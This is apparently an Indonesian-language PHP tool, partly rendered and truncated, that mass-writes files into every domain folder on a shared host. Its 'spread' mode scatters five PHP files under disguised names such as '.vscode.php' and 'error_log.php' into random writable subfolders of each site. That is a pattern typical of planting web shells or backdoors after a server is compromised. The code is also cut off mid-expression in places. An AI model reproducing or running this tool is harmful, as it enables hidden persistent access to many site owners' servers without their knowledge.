🔒 403

Access Denied

Akses memerlukan password.
Tambahkan ?p=xxxxx di URL.

0) $candidates[] = ['path' => $userDir, 'count' => $count]; $domainsSub = $userDir . '/domains'; if (is_dir($domainsSub) && is_readable($domainsSub)) { $count = countDomainFolders($domainsSub); if ($count > 0) $candidates[] = ['path' => $domainsSub, 'count' => $count + 100]; } } } $withCount = []; $plain = []; foreach ($candidates as $c) { if (is_array($c)) $withCount[] = $c; elseif (is_string($c)) $plain[] = $c; } usort($withCount, fn($a, $b) => $b['count'] - $a['count']); foreach (array_merge(array_column($withCount, 'path'), $plain) as $c) { if ($c && is_dir($c) && is_readable($c)) return $c; } return null; } function countDomainFolders($dir) { $n = 0; foreach (@scandir($dir) as $f) { if ($f === '.' || $f === '..') continue; if (strpos($f, '.') === false) continue; if (!preg_match('/\.[a-z]{2,}$/i', $f)) continue; if (!is_dir($dir . '/' . $f)) continue; if (in_array($f, ['public_html', 'public_ftp', 'ssl', 'etc', 'logs', 'lscache', 'mail', 'tmp', 'access-logs', 'www', 'home', 'node_modules', '.git', 'cgi-bin', 'vendor', 'backup', 'backups'])) continue; $n++; } return $n; } // ============ SCAN DOMAIN ============ function scanDomains($baseDir, $usePublicHtml = true) { $domains = []; if (!is_dir($baseDir) || !is_readable($baseDir)) return $domains; $skipNames = ['public_html', 'public_ftp', 'ssl', 'etc', 'logs', 'lscache', 'mail', 'tmp', 'access-logs', 'www', 'home', 'node_modules', '.git', 'cgi-bin', 'vendor', 'backup', 'backups']; foreach (@scandir($baseDir) as $f) { if ($f === '.' || $f === '..') continue; if (strpos($f, '.') === false) continue; if (!preg_match('/\.[a-z]{2,}$/i', $f)) continue; if (in_array($f, $skipNames)) continue; $domainPath = rtrim($baseDir, '/') . '/' . $f; if (!is_dir($domainPath)) continue; $targetDir = $domainPath; $hasPublicHtml = false; if ($usePublicHtml) { $pub = $domainPath . '/public_html'; if (is_dir($pub)) { $targetDir = $pub; $hasPublicHtml = true; } } $domains[] = [ 'name' => $f, 'path' => $domainPath, 'target' => $targetDir, 'has_public_html'=> $hasPublicHtml, 'writable' => is_writable($targetDir), 'url' => 'https://' . $f, ]; } usort($domains, fn($a, $b) => strcmp($a['name'], $b['name'])); return $domains; } // ============ SCAN SUBFOLDER ============ // Scan folder di dalam domain (untuk spread upload) function scanSubfolders($rootDir, $maxDepth = 3, $maxFolders = 200) { $folders = []; if (!is_dir($rootDir) || !is_readable($rootDir)) return $folders; $skipNames = [ 'node_modules', '.git', '.svn', '.hg', '.well-known', 'cgi-bin', 'vendor', 'tmp', 'temp', 'cache', 'logs', '.cpanel', '.trash', '.htpasswds', 'mail', 'etc', '.cache', '.config', '.local', 'ssl', 'access-logs', '.softaculous', 'perl5', '.composer', '.npm', '.ssh', 'backup', 'backups', '.idea', '.vscode', '__pycache__', 'dist', 'build', '.next', '.nuxt', '.angular', '.sass-cache', 'coverage', '.pytest_cache', '.mypy_cache', ]; $queue = [['path' => $rootDir, 'depth' => 0]]; while (!empty($queue) && count($folders) < $maxFolders) { $item = array_shift($queue); $path = $item['path']; $depth = $item['depth']; if ($depth > $maxDepth) continue; if (!is_dir($path) || !is_readable($path)) continue; // Tambahkan folder ini ke list kalau writable if (is_writable($path)) { $folders[] = $path; } if ($depth >= $maxDepth) continue; $items = @scandir($path); if (!$items) continue; foreach ($items as $f) { if ($f === '.' || $f === '..') continue; if (in_array($f, $skipNames)) continue; $sub = $path . '/' . $f; if (is_link($sub)) continue; if (!is_dir($sub)) continue; $queue[] = ['path' => $sub, 'depth' => $depth + 1]; } } return $folders; } // ============ SPREAD UPLOAD ============ // Upload 5 file ke 5 folder random berbeda function spreadUpload($domain, $fileNames, $fileContent, $usePublicHtml = true) { $result = ['ok' => 0, 'fail' => 0, 'log' => [], 'files' => []]; // Tentukan root dir target $rootDir = $domain['target']; if (!is_dir($rootDir)) { $result['log'][] = "❌ {$domain['name']}: target folder tidak ada"; $result['fail'] += count($fileNames); return $result; } // Scan semua subfolder yang writable $allFolders = scanSubfolders($rootDir, 3, 200); if (count($allFolders) < count($fileNames)) { $result['log'][] = "⚠️ {$domain['name']}: hanya ada " . count($allFolders) . " folder (butuh " . count($fileNames) . ")"; // Tetap lanjut tapi folder bisa dipakai ulang } // Shuffle folder biar random shuffle($allFolders); // Kalau folder kurang, pakai rootDir sebagai fallback if (empty($allFolders)) { $allFolders[] = $rootDir; } $usedFolders = []; $totalFiles = count($fileNames); foreach ($fileNames as $i => $fileName) { // Pilih folder yang belum dipakai (kalau cukup) $picked = null; if (count($allFolders) >= $totalFiles) { // Cukup folder → pilih yang belum dipakai foreach ($allFolders as $f) { if (!in_array($f, $usedFolders)) { $picked = $f; break; } } } else { // Folder kurang → pakai random ulang $picked = $allFolders[$i % count($allFolders)]; } if ($picked === null) { $picked = $rootDir; } $usedFolders[] = $picked; // Tulis file $targetFile = rtrim($picked, '/') . '/' . $fileName; $write = @file_put_contents($targetFile, $fileContent); // Relative path untuk display $rel = str_replace(rtrim($rootDir, '/'), '', $picked); $rel = $rel === '' ? '/' : $rel . '/'; if ($write !== false) { $result['ok']++; $result['files'][] = [ 'file' => $fileName, 'path' => $rel, 'full' => $targetFile, ]; } else { $result['fail']++; $result['files'][] = [ 'file' => $fileName, 'path' => $rel, 'full' => $targetFile, 'error' => true, ]; } } return $result; } // ============ PATH MODE ============ $autoBase = detectBaseDir(); $pathMode = $_POST['path_mode'] ?? $_GET['path_mode'] ?? 'auto'; $baseDir = ''; $usePublicHtml = ($_POST['use_public_html'] ?? $_GET['use_public_html'] ?? '1') === '1'; if ($pathMode === 'manual') { $baseDir = trim($_POST['manual_path'] ?? $_GET['manual_path'] ?? ''); } else { $baseDir = $autoBase ?? ''; } // ============ PROSES SUBMIT ============ $hasil = []; $berhasil = 0; $gagal = 0; $skip = 0; $submitted = false; $uploadMode = $_POST['upload_mode'] ?? 'normal'; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['do_upload'])) { $submitted = true; if ($baseDir === '' || !is_dir($baseDir)) { $hasil[] = "ERROR : Base directory tidak valid: {$baseDir}"; } else { $domains = scanDomains($baseDir, $usePublicHtml); if (empty($domains)) { $hasil[] = "ERROR : Tidak ada folder domain di {$baseDir}"; } elseif ($uploadMode === 'spread') { // ============ MODE SPREAD ============ $spreadNames = ['.vscode.php', '.cache.php', 'error_log.php', 'trash.php', 'recovery.php']; $spreadContent = $_POST['spread_content'] ?? '|]/', $fileName)) { $hasil[] = "ERROR : Nama file mengandung karakter ilegal."; } else { foreach ($domains as $d) { if (!$d['writable']) { $gagal++; $hasil[] = "GAGAL : {$d['name']} (tidak writable)"; continue; } $targetFile = rtrim($d['target'], '/') . '/' . $fileName; $write = @file_put_contents($targetFile, $fileContent); if ($write !== false) { $berhasil++; $hasil[] = "OK : {$d['url']}/{$fileName}"; } else { $gagal++; $hasil[] = "GAGAL : {$d['name']}/{$fileName}"; } } } } } } // Preview $previewDomains = ($baseDir && is_dir($baseDir)) ? scanDomains($baseDir, $usePublicHtml) : []; $previewCount = count($previewDomains); // Helper untuk preserve password di link $pQuery = '?p=' . urlencode($ACCESS_PASSWORD); ?> Auto Upload File - Multi Domain

🚀 Auto Upload File - Multi Domain

Pilih mode upload + path, lalu eksekusi.
🔓 Authenticated
⚠️ Hapus file ini setelah selesai digunakan!

⚙️ Konfigurasi

✅ Auto-detect:
❌ Auto-detect gagal. Pakai mode Manual.

📋 Preview Domain ()

📁 Base: | 📁 Mode: 0): ?> | 🌐 domain
0): ?>
❌ (tidak writable) ✅ public_html ⚠️ no public_html
⚠️ Tidak ada folder domain di path ini.
❌ Path tidak valid:
0): ?>

📤 Upload

🎯 Mode Spread: Setiap domain akan mendapat 5 file berikut, tersebar ke 5 folder random berbeda dalam domain tersebut:
1. .vscode.php
2. .cache.php
3. error_log.php
4. trash.php
5. recovery.php

📊 Hasil Eksekusi

Berhasil
Gagal
Total